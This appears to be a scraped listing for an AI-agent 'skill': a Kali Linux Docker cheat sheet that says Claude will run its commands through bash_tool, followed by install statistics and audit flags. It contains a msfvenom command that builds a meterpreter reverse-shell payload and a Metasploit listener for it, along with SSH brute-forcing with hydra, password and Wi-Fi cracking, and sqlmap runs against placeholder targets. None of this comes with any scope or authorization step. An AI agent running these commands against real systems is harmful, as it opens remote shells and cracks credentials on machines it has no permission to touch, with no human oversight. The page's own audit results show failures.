docker exec kali searchsploit apache 2.4.49
# Step 2: Generate payload
docker exec kali msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe
# Step 3: Setup listener in Metasploit
docker exec -it kali msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
# Copy TO container
docker cp ./local-file.txt kali:/workspace/
# Copy FROM container
docker cp kali:/results/scan.txt ./output/
# Copy directory
docker cp kali:/results/ ./output/
Common Wordlist Locations:
/usr/share/wordlists/rockyou.txt - Most popular password list
/usr/share/wordlists/dirb/common.txt - Common directories
/usr/share/seclists/ - SecLists collection
/usr/share/wordlists/metasploit/ - Metasploit wordlists
docker exec kali find /usr/share/wordlists -type f
docker exec kali gunzip /usr/share/wordlists/rockyou.txt.gz
# Check logs
docker logs kali
# Remove and recreate
docker rm kali
docker run -d --name kali kali-comprehensive
# Use host network
docker run -d --name kali --network host kali-comprehensive
# Add network capabilities
docker run -d --name kali --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive
# Run as root (already default)
docker exec -u root kali [command]
# Fix workspace permissions
docker exec kali chmod -R 777 /workspace /results
# Initialize database
docker exec kali service postgresql start
docker exec kali msfdb init
# Check status
docker exec kali msfdb status
# Use output flags
-o filename.txt # Generic output
-oA basename # Nmap: all formats
-w filename # Write to file
> /results/output.txt # Shell redirect
Mount volumes for:
/workspace - Working files/results - Scan results/wordlists - Custom wordlistsAlways:
# Stop monitor mode
docker exec kali airmon-ng stop wlan0mon
# Clear temporary files
docker exec kali rm -rf /tmp/*
# Archive results
docker exec kali tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt
docker exec kali nmap -sV -p- target
docker exec kali gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
docker exec kali sqlmap -u "http://target/page?id=1" --batch
docker exec kali john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
docker exec kali hydra -l admin -P passwords.txt ssh://target
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
Use this skill when:
Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.
Weekly Installs
87
Repository
GitHub Stars
12
First Seen
Jan 25, 2026
Security Audits
Gen Agent Trust HubFailSocketWarnSnykWarn
Installed on
gemini-cli76
opencode75
codex72
github-copilot71
cursor65
kimi-cli64
Lark Mail CLI 使用指南:邮件管理、安全规则与自动化工作流
37,000 周安装